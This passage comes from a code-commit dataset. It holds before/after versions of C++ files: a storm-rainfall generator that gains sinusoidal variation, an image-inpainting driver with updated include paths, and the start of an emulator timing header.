CHILD_ABORT_ON_WARNING is set.\n**\n**      Parameters:     errMsg -- error message\n**      Called by:\n**      Created: 9\/03 SL\n**\n\\*****************************************************************************\/\nvoid ReportWarning( const char *errMsg )\n{\n  cout << \"WARNING: \" << errMsg <<endl;\n  if (getenv(CHILD_ABORT_ON_WARNING) != NULL)\n    abort();\n  cout <<\n    \"(Set \\\"\" CHILD_ABORT_ON_WARNING \"\\\" to generate a crash.\"\n    \"\\n.e.g. \\\"env \" CHILD_ABORT_ON_WARNING \"=1 child ...\\\")\"\n       <<endl;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n**  tStorm.cpp\n** \n**  Functions for tStorm objects.\n**  A tStorm object generates random storms assuming an exponential\n**  distribution of rainfall intensity, storm duration, and time to the\n**  next storm. It is essentially an implementation of the model of\n**  P. Eagleson, 1978b, Water Resources Research. Its services include\n**  reading the necessary parameters from a tInputFile, generating a new      \n**  storm, and reporting its various values.\n**    If you want to provide an option for NOT having storms vary\n**  randomly, you can do so by setting optVariable to zero on initialization.\n**    The GammaDev() function is provided for future reference; it is not\n**  actually used in version 1.0.\n**    tStorm objects could be easily modified (or inherited from) to use\n**  different distributions. They can also be modified to create objects\n**  for other random processes such as river flows, etc.\n**    The random number generation routine ran3() from Numerical Recipes\n**  is included in this file.\n**\n**  Version 1.0, Greg Tucker, November 1997.\n**  $Id: tStorm.cpp,v 1.10 1998-06-04 21:27:44 gtucker Exp $\n*\/\n\n#include <math.h>\n#include \"..\/Mathutil\/mathutil.h\"\n#include \"tStorm.h\"\n\n\n\n\/*\n**  tStorm::tStorm:  Constructor for storms. The default constructor\n**                   assigns a value of unity to storm depth, duration,\n**                   and interstorm duration.\n*\/\ntStorm::tStorm( int optvar )\n{\n   optVariable = optvar;\n   pMean = 1.0;\n   stdurMean = 1.0;\n   istdurMean = 1.0;\n   p = 1.0;\n   stdur = 1.0;\n   istdur = 1.0;\n   srand( 0 );\n}\n\n\n\/*\n**  tStorm::tStorm:  The constructor that's really used assigns values for\n**                   mean storm depth, duration, and interstorm duration,\n**                   initializes current depth, etc, to the mean values,\n**                   and initializes the random number generator.\n*\/\ntStorm::tStorm( double mp, double ms, double mis, unsigned sd, int optvar )\n{\n   optVariable = optvar;\n   pMean = mp;\n   stdurMean = ms;\n   istdurMean = mis;\n   p = pMean;\n   stdur = stdurMean;\n   istdur = istdurMean;\n   seed = sd;\n   srand( seed );\n}\n\n\n\/*\n**  tStorm::tStorm\n**\n**  Alternative constructor that reads parameters directly from a tInputFile\n**  object. Reads option for variable storms (normally this is \"yes\"---that's\n**  the point of these objects---but a user may wish to switch off variation\n**  as a test), mean values for rainfall intensity, duration, and interstorm\n**  period, and a random seed to initialize the random number generator.\n*\/\ntStorm::tStorm( tInputFile &infile )\n{\n   optVariable = infile.ReadItem( optVariable, \"OPTVAR\" );\n   pMean = infile.ReadItem( pMean, \"PMEAN\" );\n   stdurMean = infile.ReadItem( stdurMean, \"STDUR\" );\n   istdurMean = infile.ReadItem( istdurMean, \"ISTDUR\" );\n   p = pMean;\n   stdur = stdurMean;\n   istdur = istdurMean;\n   seed = infile.ReadItem( seed, \"SEED\" );\n   srand( seed );\n}\n\n\n\/*\n**  tStorm::GenerateStorm\n**\n**  Generates a new storm by drawing new values of p, stdur, and istdur from\n**  an exponential distribution and updating the random seed.\n**    If the minp parameter is greater than zero, the function will keep\n**  picking storms until it finds one with p>minp. The total elapsed time,\n**  including the rejected storms and their associated interstorm periods,\n**  is stored istdur.\n**\n**  Parameters:  minp -- minimum value of rainfall rate p (default 0)\n**  Members updated:  p, stdur, istdur take on new random values\n**  Assumptions:  pMean > 0\n*\/\nvoid tStorm::GenerateStorm( double minp, double mind )\n{\n   if( optVariable )\n   {\n      stdur = 0;\n      istdur = 0;\n      do\n      {\n         p = pMean*ExpDev( &seed );\n         istdur += istdurMean*ExpDev( &seed ) + stdur;\n         stdur = stdurMean*ExpDev( &seed );\n         \/*cout << \"P \" << p << \"  ST \" << stdur << \"  IST \" << istdur\n              << \"  DP \" << p*stdur << endl;*\/\n         srand( seed );\n      } while( p<=minp && (p*stdur)<=mind );\n   }\n}\n\n\n\/*\n**  tStorm::ExpDev:  Finds a random number with an exponential distribution\n**                   (adapted from Numerical Recipes).\n*\/\ndouble tStorm::ExpDev( long *idum )\n{\n    double dum;\n\n    do\n        dum = ran3( idum );\n    while( dum==0.0 );\n    return -log(dum);\n}\n\n\n\/*\n**  getStormDuration\n**\n**  Returns the storm duration.\n*\/\ndouble tStorm::getStormDuration()\n{\n   return stdur;\n}\n\n\/*\n**  InterstormDur\n**\n**  Returns the interstorm duration.\n*\/\ndouble tStorm::interstormDur()\n{\n   return istdur;\n}\n\n\/*\n**  getRainrate\n**\n**  Returns the rainfall rate.\n*\/\ndouble tStorm::getRainrate()\n{\n   return p;\n}\n\ndouble tStorm::getMeanStormDur() const {return stdurMean;}\ndouble tStorm::getMeanInterstormDur() const {return istdurMean;}\ndouble tStorm::getMeanPrecip() const {return pMean;}\n\n\/*\n**  GammaDev\n**\n**  Returns a random variable drawn from a Gamma distribution with parameter m.\n**\n**  (Note: not actually called; provided for future use).\n*\/\ndouble tStorm::GammaDev(double m, long * idum)\n{\n  double x, y,z, c,t,b,u,w,v;\n  \n  if (m<1)\n    {\n      c = 1\/m;\n      t = 0.07 + 0.75*sqrt(1-m);\n      b = 1 + exp(-t)*m\/t;\n      int accept = 0;\n      while (accept == 0)\n        {\n          u = ran3(idum);\n          w = ran3(idum);\n          v = b *u;\n          if (v<=1)\n            {\n              x  = t * pow(v, c);\n              accept = ((w<=((2-x)\/(2+x))) || (w<=exp(-x)));\n            }\n          else\n            {\n              x = -log(c*t*(b-v));\n              y = x\/t;\n              accept = (((w*(m + y - m*y)) <= 1) || (w<= ( pow(y, (m-1)))));\n            }\n        }\n    }\n  else\n    {\n      b = m-1;\n      c = 3*m - 0.75;\n      int accept = 0;\n      while (accept == 0)\n        {\n          u = ran3(idum); v = ran3(idum);\n          w = u* ( 1-u);\n          y = sqrt(c\/w) * (u - 0.5);\n          x = b + y;\n          if ( x>= 0)\n            {\n              z = 64*( pow(w,3))*v*v;\n              accept = (z <= ( 1 - 2*y*y\/x)) || ( log(z) <= (2*(b*log(x\/b) - y)));\n            }\n        }\n    }\n  return x;\n}\n\n<commit_msg>added option for sinusoidal variation in mean P, duration, spacing, and tested it<commit_after>\/*\n**  tStorm.cpp\n** \n**  Functions for tStorm objects.\n**  A tStorm object generates random storms assuming an exponential\n**  distribution of rainfall intensity, storm duration, and time to the\n**  next storm. It is essentially an implementation of the model of\n**  P. Eagleson, 1978b, Water Resources Research. Its services include\n**  reading the necessary parameters from a tInputFile, generating a new      \n**  storm, and reporting its various values.\n**    If you want to provide an option for NOT having storms vary\n**  randomly, you can do so by setting optVariable to zero on initialization.\n**    The GammaDev() function is provided for future reference; it is not\n**  actually used in version 1.0.\n**    tStorm objects could be easily modified (or inherited from) to use\n**  different distributions. They can also be modified to create objects\n**  for other random processes such as river flows, etc.\n**    The random number generation routine ran3() from Numerical Recipes\n**  is included in this file.\n**\n**  Version 1.0, Greg Tucker, November 1997.\n**  $Id: tStorm.cpp,v 1.11 1998-07-15 22:25:41 gtucker Exp $\n*\/\n\n#include <math.h>\n#include \"..\/Mathutil\/mathutil.h\"\n#include \"tStorm.h\"\n\n\n\n\/*\n**  tStorm::tStorm:  Constructor for storms. The default constructor\n**                   assigns a value of unity to storm depth, duration,\n**                   and interstorm duration. (Note:\n**                   this constructor does not allow option for sinusoidal\n**                   variation in means).\n*\/\ntStorm::tStorm( int optvar )\n{\n   optVariable = optvar;\n   optSinVar = 0;\n   pMean = 1.0;\n   stdurMean = 1.0;\n   istdurMean = 1.0;\n   p = 1.0;\n   stdur = 1.0;\n   istdur = 1.0;\n   srand( 0 );\n}\n\n\n\/*\n**  tStorm::tStorm:  The constructor that's really used assigns values for\n**                   mean storm depth, duration, and interstorm duration,\n**                   initializes current depth, etc, to the mean values,\n**                   and initializes the random number generator. (Note:\n**                   this constructor does not allow option for sinusoidal\n**                   variation in means).\n*\/\ntStorm::tStorm( double mp, double ms, double mis, unsigned sd, int optvar )\n{\n   optVariable = optvar;\n   optSinVar = 0;\n   pMean = mp;\n   stdurMean = ms;\n   istdurMean = mis;\n   p = pMean;\n   stdur = stdurMean;\n   istdur = istdurMean;\n   seed = sd;\n   srand( seed );\n}\n\n\n\/*\n**  tStorm::tStorm\n**\n**  Alternative constructor that reads parameters directly from a tInputFile\n**  object. Reads option for variable storms (normally this is \"yes\"---that's\n**  the point of these objects---but a user may wish to switch off variation\n**  as a test), mean values for rainfall intensity, duration, and interstorm\n**  period, and a random seed to initialize the random number generator.\n**    Also reads an option for long-term sinusoidal variations in the mean\n**  values, and if the option is selected, reads the relevant parameters.\n**  Variables p0, stdur0, and istdur0 are the mean values of the means;\n**  pdev, stdurdev, and istdurdev are the range of variation (e.g., if pMean\n**  were to fluctuate between 5 and 10, p0 would be 7.5 and pdev 2.5).\n*\/\ntStorm::tStorm( tInputFile &infile )\n{\n   \/\/ Read + set parameters for storm intensity, duration, and spacing\n   optVariable = infile.ReadItem( optVariable, \"OPTVAR\" );\n   pMean = infile.ReadItem( pMean, \"PMEAN\" );\n   stdurMean = infile.ReadItem( stdurMean, \"STDUR\" );\n   istdurMean = infile.ReadItem( istdurMean, \"ISTDUR\" );\n   p = pMean;\n   stdur = stdurMean;\n   istdur = istdurMean;\n\n   \/\/ Handle option for sinuidoil variation in means\n   optSinVar = infile.ReadItem( optSinVar, \"OPTSINVAR\" );\n   if( optSinVar )\n   {\n      p0 = pMean;\n      stdur0 = stdurMean;\n      istdur0 = istdurMean;\n      twoPiLam = (2.0*PI)\/(infile.ReadItem( twoPiLam, \"PERIOD\" ));\n      pdev = infile.ReadItem( pdev, \"MAXPMEAN\" ) - pMean;\n      if( pdev<0 ) cerr << \"Warning: MAXPMEAN < PMEAN !\";\n      else if( pdev > pMean ) cerr << \"Warning: MINPMEAN < 0 !\";\n      stdurdev = infile.ReadItem( stdurdev, \"MAXSTDURMN\" ) - stdurMean;\n      if( stdurdev<0 ) cerr << \"Warning: MAXSTDURMN < STDURMN !\";\n      else if( stdurdev > stdurMean ) cerr << \"Warning: MINSTDURMN < 0 !\";\n      istdurdev = infile.ReadItem( istdurdev, \"MAXISTDURMN\" ) - istdurMean;\n      if( istdurdev<0 ) cerr << \"Warning: MAXISTDURMN < ISTDURMN !\";\n      else if( istdurdev > istdurMean ) cerr << \"Warning: MINISTDURMN < 0 !\";\n   }\n\n   \/\/ Read and initialize seed for random number generation\n   seed = infile.ReadItem( seed, \"SEED\" );\n   srand( seed );\n}\n\n\n\/*\n**  tStorm::GenerateStorm\n**\n**  Generates a new storm by drawing new values of p, stdur, and istdur from\n**  an exponential distribution and updating the random seed.\n**    If the minp parameter is greater than zero, the function will keep\n**  picking storms until it finds one with p>minp. The total elapsed time,\n**  including the rejected storms and their associated interstorm periods,\n**  is stored istdur.\n**\n**  Parameters:  minp -- minimum value of rainfall rate p (default 0)\n**               mind -- minimum storm depth to produce runoff (default 0)\n**               tm -- current time in simulation\n**  Members updated:  p, stdur, istdur take on new random values (if optVar)\n**                    pMean, stdurMean, istdurMean adjusted (if optSinVar)\n**  Assumptions:  pMean > 0\n*\/\nvoid tStorm::GenerateStorm( double tm, double minp, double mind )\n{\n   \/\/ If option for sinusoidal variation is on, adjust the means\n   \/\/ Also set values for current storm to the means, in case option for\n   \/\/ random storms is off.\n   if( optSinVar )\n   {\n      double sinfn = sin( tm*twoPiLam );\n      pMean = p0 + pdev*sinfn;\n      cout << \"pMean = \" << pMean << endl;\n      stdurMean = stdur0 + stdurdev*sinfn;\n      istdurMean = istdur0 + istdurdev*sinfn;\n      p = pMean;\n      stdur = stdurMean;\n      istdur = istdurMean;\n   }\n   \n   \/\/ If option for random storms is on, pick a storm at random.\n   \/\/ Keep picking and accumulating time until the storm depth or intensity\n   \/\/ is greater than the minimum value needed to produce runoff.\n   if( optVariable )\n   {\n      stdur = 0;\n      istdur = 0;\n      do\n      {\n         p = pMean*ExpDev( &seed );\n         istdur += istdurMean*ExpDev( &seed ) + stdur;\n         stdur = stdurMean*ExpDev( &seed );\n         \/*cout << \"P \" << p << \"  ST \" << stdur << \"  IST \" << istdur\n              << \"  DP \" << p*stdur << endl;*\/\n         srand( seed );\n      } while( p<=minp && (p*stdur)<=mind );\n   }\n}\n\n\n\/*\n**  tStorm::ExpDev:  Finds a random number with an exponential distribution\n**                   (adapted from Numerical Recipes).\n*\/\ndouble tStorm::ExpDev( long *idum )\n{\n    double dum;\n\n    do\n        dum = ran3( idum );\n    while( dum==0.0 );\n    return -log(dum);\n}\n\n\n\/*\n**  getStormDuration\n**\n**  Returns the storm duration.\n*\/\ndouble tStorm::getStormDuration()\n{\n   return stdur;\n}\n\n\/*\n**  InterstormDur\n**\n**  Returns the interstorm duration.\n*\/\ndouble tStorm::interstormDur()\n{\n   return istdur;\n}\n\n\/*\n**  getRainrate\n**\n**  Returns the rainfall rate.\n*\/\ndouble tStorm::getRainrate()\n{\n   return p;\n}\n\ndouble tStorm::getMeanStormDur() const {return stdurMean;}\ndouble tStorm::getMeanInterstormDur() const {return istdurMean;}\ndouble tStorm::getMeanPrecip() const {return pMean;}\n\n\/*\n**  GammaDev\n**\n**  Returns a random variable drawn from a Gamma distribution with parameter m.\n**\n**  (Note: not actually called; provided for future use).\n*\/\ndouble tStorm::GammaDev(double m, long * idum)\n{\n  double x, y,z, c,t,b,u,w,v;\n  \n  if (m<1)\n    {\n      c = 1\/m;\n      t = 0.07 + 0.75*sqrt(1-m);\n      b = 1 + exp(-t)*m\/t;\n      int accept = 0;\n      while (accept == 0)\n        {\n          u = ran3(idum);\n          w = ran3(idum);\n          v = b *u;\n          if (v<=1)\n            {\n              x  = t * pow(v, c);\n              accept = ((w<=((2-x)\/(2+x))) || (w<=exp(-x)));\n            }\n          else\n            {\n              x = -log(c*t*(b-v));\n              y = x\/t;\n              accept = (((w*(m + y - m*y)) <= 1) || (w<= ( pow(y, (m-1)))));\n            }\n        }\n    }\n  else\n    {\n      b = m-1;\n      c = 3*m - 0.75;\n      int accept = 0;\n      while (accept == 0)\n        {\n          u = ran3(idum); v = ran3(idum);\n          w = u* ( 1-u);\n          y = sqrt(c\/w) * (u - 0.5);\n          x = b + y;\n          if ( x>= 0)\n            {\n              z = 64*( pow(w,3))*v*v;\n              accept = (z <= ( 1 - 2*y*y\/x)) || ( log(z) <= (2*(b*log(x\/b) - y)));\n            }\n        }\n    }\n  return x;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright David Doria 2012 daviddoria@gmail.com\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n\/\/ Custom\n#include \"Utilities\/IndirectPriorityQueue.h\"\n\n\/\/ Submodules\n#include <Helpers\/Helpers.h>\n\n\/\/ Pixel descriptors\n#include \"PixelDescriptors\/ImagePatchPixelDescriptor.h\"\n\n\/\/ Descriptor visitors\n#include \"Visitors\/DescriptorVisitors\/ImagePatchDescriptorVisitor.hpp\"\n\n\/\/ Inpainting visitors\n#include \"Visitors\/InpaintingVisitor.hpp\"\n#include \"Visitors\/AcceptanceVisitors\/DefaultAcceptanceVisitor.hpp\"\n\n\/\/ Nearest neighbors\n#include \"NearestNeighbor\/LinearSearchBest\/Property.hpp\"\n\n\/\/ Initializers\n#include \"Initializers\/InitializeFromMaskImage.hpp\"\n#include \"Initializers\/InitializePriority.hpp\"\n\n\/\/ Inpainters\n#include \"Inpainters\/CompositePatchInpainter.hpp\"\n#include \"Inpainters\/PatchInpainter.hpp\"\n\n\/\/ Difference functions\n#include \"DifferenceFunctions\/ImagePatchDifference.hpp\"\n#include \"DifferenceFunctions\/SumAbsolutePixelDifference.hpp\"\n#include \"DifferenceFunctions\/SumSquaredPixelDifference.hpp\"\n\n\/\/ Utilities\n#include \"Utilities\/PatchHelpers.h\"\n\n\/\/ Inpainting\n#include \"Algorithms\/InpaintingAlgorithm.hpp\"\n\n\/\/ Priority\n#include \"Priority\/PriorityCriminisi.h\"\n\n\/\/ ITK\n#include \"itkImageFileReader.h\"\n\n\/\/ Boost\n#include <boost\/graph\/grid_graph.hpp>\n#include <boost\/property_map\/property_map.hpp>\n\n#include \"Drivers\/ClassicalImageInpainting.hpp\"\n\n\/\/ Run with: Data\/trashcan.png Data\/trashcan.mask 15 filled.png\nint main(int argc, char *argv[])\n{\n  \/\/ Verify arguments\n  if(argc != 5)\n  {\n    std::cerr << \"Required arguments: image.png imageMask.mask patchHalfWidth output.png\" << std::endl;\n    std::cerr << \"Input arguments: \";\n    for(int i = 1; i < argc; ++i)\n    {\n      std::cerr << argv[i] << \" \";\n    }\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Parse arguments\n  std::string imageFilename = argv[1];\n  std::string maskFilename = argv[2];\n\n  std::stringstream ssPatchHalfWidth;\n  ssPatchHalfWidth << argv[3];\n  unsigned int patchHalfWidth = 0;\n  ssPatchHalfWidth >> patchHalfWidth;\n\n  std::string outputFileName = argv[4];\n\n  \/\/ Output arguments\n\/\/  std::cout << \"Reading image: \" << imageFilename << std::endl;\n\/\/  std::cout << \"Reading mask: \" << maskFilename << std::endl;\n\/\/  std::cout << \"Patch half width: \" << patchHalfWidth << std::endl;\n\/\/  std::cout << \"Output: \" << outputFileName << std::endl;\n\n  typedef itk::Image<itk::CovariantVector<int, 3>, 2> OriginalImageType;\n\n  typedef  itk::ImageFileReader<OriginalImageType> ImageReaderType;\n  ImageReaderType::Pointer imageReader = ImageReaderType::New();\n  imageReader->SetFileName(imageFilename);\n  imageReader->Update();\n\n\/\/  OriginalImageType* originalImage = imageReader->GetOutput();\n\n  OriginalImageType::Pointer originalImage = OriginalImageType::New();\n  ITKHelpers::DeepCopy(imageReader->GetOutput(), originalImage.GetPointer());\n\n  Mask::Pointer mask = Mask::New();\n  mask->Read(maskFilename);\n\n  ClassicalImageInpainting(originalImage, mask, patchHalfWidth);\n\n  \/\/ If the output filename is a png file, then use the RGBImage writer so that it is first\n  \/\/ casted to unsigned char. Otherwise, write the file directly.\n  if(Helpers::GetFileExtension(outputFileName) == \"png\")\n  {\n    ITKHelpers::WriteRGBImage(originalImage.GetPointer(), outputFileName);\n  }\n  else\n  {\n    ITKHelpers::WriteImage(originalImage.GetPointer(), outputFileName);\n  }\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>Use new directory structure.<commit_after>\/*=========================================================================\n *\n *  Copyright David Doria 2012 daviddoria@gmail.com\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n\/\/ Custom\n#include \"Utilities\/IndirectPriorityQueue.h\"\n\n\/\/ Submodules\n#include <Helpers\/Helpers.h>\n\n\/\/ Pixel descriptors\n#include \"PixelDescriptors\/ImagePatchPixelDescriptor.h\"\n\n\/\/ Descriptor visitors\n#include \"Visitors\/DescriptorVisitors\/ImagePatchDescriptorVisitor.hpp\"\n\n\/\/ Inpainting visitors\n#include \"Visitors\/InpaintingVisitors\/InpaintingVisitor.hpp\"\n#include \"Visitors\/AcceptanceVisitors\/DefaultAcceptanceVisitor.hpp\"\n\n\/\/ Nearest neighbors\n#include \"NearestNeighbor\/LinearSearchBest\/Property.hpp\"\n\n\/\/ Initializers\n#include \"Initializers\/InitializeFromMaskImage.hpp\"\n#include \"Initializers\/InitializePriority.hpp\"\n\n\/\/ Inpainters\n#include \"Inpainters\/CompositePatchInpainter.hpp\"\n#include \"Inpainters\/PatchInpainter.hpp\"\n\n\/\/ Difference functions\n#include \"DifferenceFunctions\/Patch\/ImagePatchDifference.hpp\"\n#include \"DifferenceFunctions\/Pixel\/SumSquaredPixelDifference.hpp\"\n\n\/\/ Utilities\n#include \"Utilities\/PatchHelpers.h\"\n\n\/\/ Inpainting\n#include \"Algorithms\/InpaintingAlgorithm.hpp\"\n\n\/\/ Priority\n#include \"Priority\/PriorityCriminisi.h\"\n\n\/\/ ITK\n#include \"itkImageFileReader.h\"\n\n\/\/ Boost\n#include <boost\/graph\/grid_graph.hpp>\n#include <boost\/property_map\/property_map.hpp>\n\n#include \"Drivers\/ClassicalImageInpainting.hpp\"\n\n\/\/ Run with: Data\/trashcan.png Data\/trashcan.mask 15 filled.png\nint main(int argc, char *argv[])\n{\n  \/\/ Verify arguments\n  if(argc != 5)\n  {\n    std::cerr << \"Required arguments: image.png imageMask.mask patchHalfWidth output.png\" << std::endl;\n    std::cerr << \"Input arguments: \";\n    for(int i = 1; i < argc; ++i)\n    {\n      std::cerr << argv[i] << \" \";\n    }\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Parse arguments\n  std::string imageFilename = argv[1];\n  std::string maskFilename = argv[2];\n\n  std::stringstream ssPatchHalfWidth;\n  ssPatchHalfWidth << argv[3];\n  unsigned int patchHalfWidth = 0;\n  ssPatchHalfWidth >> patchHalfWidth;\n\n  std::string outputFileName = argv[4];\n\n  \/\/ Output arguments\n\/\/  std::cout << \"Reading image: \" << imageFilename << std::endl;\n\/\/  std::cout << \"Reading mask: \" << maskFilename << std::endl;\n\/\/  std::cout << \"Patch half width: \" << patchHalfWidth << std::endl;\n\/\/  std::cout << \"Output: \" << outputFileName << std::endl;\n\n  typedef itk::Image<itk::CovariantVector<int, 3>, 2> OriginalImageType;\n\n  typedef  itk::ImageFileReader<OriginalImageType> ImageReaderType;\n  ImageReaderType::Pointer imageReader = ImageReaderType::New();\n  imageReader->SetFileName(imageFilename);\n  imageReader->Update();\n\n\/\/  OriginalImageType* originalImage = imageReader->GetOutput();\n\n  OriginalImageType::Pointer originalImage = OriginalImageType::New();\n  ITKHelpers::DeepCopy(imageReader->GetOutput(), originalImage.GetPointer());\n\n  Mask::Pointer mask = Mask::New();\n  mask->Read(maskFilename);\n\n  ClassicalImageInpainting(originalImage, mask, patchHalfWidth);\n\n  \/\/ If the output filename is a png file, then use the RGBImage writer so that it is first\n  \/\/ casted to unsigned char. Otherwise, write the file directly.\n  if(Helpers::GetFileExtension(outputFileName) == \"png\")\n  {\n    ITKHelpers::WriteRGBImage(originalImage.GetPointer(), outputFileName);\n  }\n  else\n  {\n    ITKHelpers::WriteImage(originalImage.GetPointer(), outputFileName);\n  }\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  JustInTime.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 28\/07\/2019.\n\/\/  Copyright © 2019 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef JustInTime_h\n#define JustInTime_h\n\n#include \"..\/Concurrency\/AsyncTaskQueue.hpp\"\n#include \"ClockingHintSource.hpp\"\n#include \"ForceInline.hpp\"\n\n\/*!\n\tA JustInTimeActor holds (i) an embedded object with a run_for method; and (ii) an amount\n\tof time since run_for was last called.\n\n\tTime can be added using the += operator. The -> operator can be used to access the\n\tembedded object. All time accumulated will be pushed to object before the pointer is returned.\n\n\tMachines that accumulate HalfCycle time but supply to a Cycle-counted device may supply a\n\tseparate @c TargetTimeScale at template declaration.\n\n\tIf the held object implements get_next_sequence_point() then it'll be used to flush implicitly\n\tas and when sequence points are hit. Callers can use will_flush() to predict these.\n\n\tIf the held object is a subclass of ClockingHint::Source, this template will register as an\n\tobserver and potentially stop clocking or stop delaying clocking until just-in-time references\n\tas directed.\n\n\tTODO: incorporate and codify AsyncJustInTimeActor.\n*\/\ntemplate <class T, class LocalTimeScale = HalfCycles, int multiplier = 1, int divider = 1> class JustInTimeActor:\n\tpublic ClockingHint::Observer {\n\tprivate:\n\t\t\/*!\n\t\t\tA std::unique_ptr deleter which causes an update_sequence_point to occur on the actor supplied\n\t\t\tto it at construction if it implements get_next_sequence_point(). Otherwise destruction is a no-op.\n\n\t\t\t**Does not delete the object.**\n\n\t\t\tThis is used by the -> operators below, which provide a unique pointer to the enclosed object and\n\t\t\tupdate their sequence points upon its destruction — i.e. after the caller has made whatever call\n\t\t\tor calls as were relevant to the enclosed object.\n\t\t*\/\n\t\tclass SequencePointAwareDeleter {\n\t\t\tpublic:\n\t\t\t\texplicit SequencePointAwareDeleter(JustInTimeActor<T, LocalTimeScale, multiplier, divider> *actor) noexcept\n\t\t\t\t\t: actor_(actor) {}\n\n\t\t\t\tforceinline void operator ()(const T *const) const {\n\t\t\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\t\t\tactor_->update_sequence_point();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tprivate:\n\t\t\t\tJustInTimeActor<T, LocalTimeScale, multiplier, divider> *const actor_;\n\t\t};\n\n\t\t\/\/ This block of SFINAE determines whether objects of type T accepts Cycles or HalfCycles.\n\t\tusing HalfRunFor = void (T::*const)(HalfCycles);\n\t\tstatic uint8_t half_sig(...);\n\t\tstatic uint16_t half_sig(HalfRunFor);\n\t\tusing TargetTimeScale =\n\t\t\tstd::conditional_t<\n\t\t\t\tsizeof(half_sig(&T::run_for)) == sizeof(uint16_t),\n\t\t\t\tHalfCycles,\n\t\t\t\tCycles>;\n\n\tpublic:\n\t\t\/\/\/ Constructs a new JustInTimeActor using the same construction arguments as the included object.\n\t\ttemplate<typename... Args> JustInTimeActor(Args&&... args) : object_(std::forward<Args>(args)...) {\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tobject_.set_clocking_hint_observer(this);\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ Adds time to the actor.\n\t\t\/\/\/\n\t\t\/\/\/ @returns @c true if adding time caused a flush; @c false otherwise.\n\t\tforceinline bool operator += (LocalTimeScale rhs) {\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tif(clocking_preference_ == ClockingHint::Preference::None) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif constexpr (multiplier != 1) {\n\t\t\t\ttime_since_update_ += rhs * multiplier;\n\t\t\t} else {\n\t\t\t\ttime_since_update_ += rhs;\n\t\t\t}\n\t\t\tis_flushed_ = false;\n\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tif (clocking_preference_ == ClockingHint::Preference::RealTime) {\n\t\t\t\t\tflush();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\ttime_until_event_ -= rhs * multiplier;\n\t\t\t\tif(time_until_event_ <= LocalTimeScale(0)) {\n\t\t\t\t\ttime_overrun_ = time_until_event_ \/ divider;\n\t\t\t\t\tflush();\n\t\t\t\t\tupdate_sequence_point();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time and returns a pointer to the included object.\n\t\t\/\/\/\n\t\t\/\/\/ If this object provides sequence points, checks for changes to the next\n\t\t\/\/\/ sequence point upon deletion of the pointer.\n\t\t[[nodiscard]] forceinline auto operator->() {\n\t\t\tflush();\n\t\t\treturn std::unique_ptr<T, SequencePointAwareDeleter>(&object_, SequencePointAwareDeleter(this));\n\t\t}\n\n\t\t\/\/\/ Acts exactly as per the standard ->, but preserves constness.\n\t\t\/\/\/\n\t\t\/\/\/ Despite being const, this will flush the object and, if relevant, update the next sequence point.\n\t\t[[nodiscard]] forceinline auto operator -> () const {\n\t\t\tauto non_const_this = const_cast<JustInTimeActor<T, LocalTimeScale, multiplier, divider> *>(this);\n\t\t\tnon_const_this->flush();\n\t\t\treturn std::unique_ptr<const T, SequencePointAwareDeleter>(&object_, SequencePointAwareDeleter(non_const_this));\n\t\t}\n\n\t\t\/\/\/ @returns a pointer to the included object, without flushing time.\n\t\t[[nodiscard]] forceinline T *last_valid() {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ @returns a const pointer to the included object, without flushing time.\n\t\t[[nodiscard]] forceinline const T *last_valid() const {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ @returns the amount of time since the object was last flushed, in the target time scale.\n\t\t[[nodiscard]] forceinline TargetTimeScale time_since_flush() const {\n\t\t\tif constexpr (divider == 1) {\n\t\t\t\treturn time_since_update_;\n\t\t\t}\n\t\t\treturn TargetTimeScale(time_since_update_.as_integral() \/ divider);\n\t\t}\n\n\t\t\/\/\/ @returns the amount of time since the object was last flushed, plus the local time scale @c offset,\n\t\t\/\/\/ converted to the target time scale.\n\t\t[[nodiscard]] forceinline TargetTimeScale time_since_flush(LocalTimeScale offset) const {\n\t\t\tif constexpr (divider == 1) {\n\t\t\t\treturn time_since_update_ + offset;\n\t\t\t}\n\t\t\treturn TargetTimeScale((time_since_update_ + offset).as_integral() \/ divider);\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time.\n\t\t\/\/\/\n\t\t\/\/\/ This does not affect this actor's 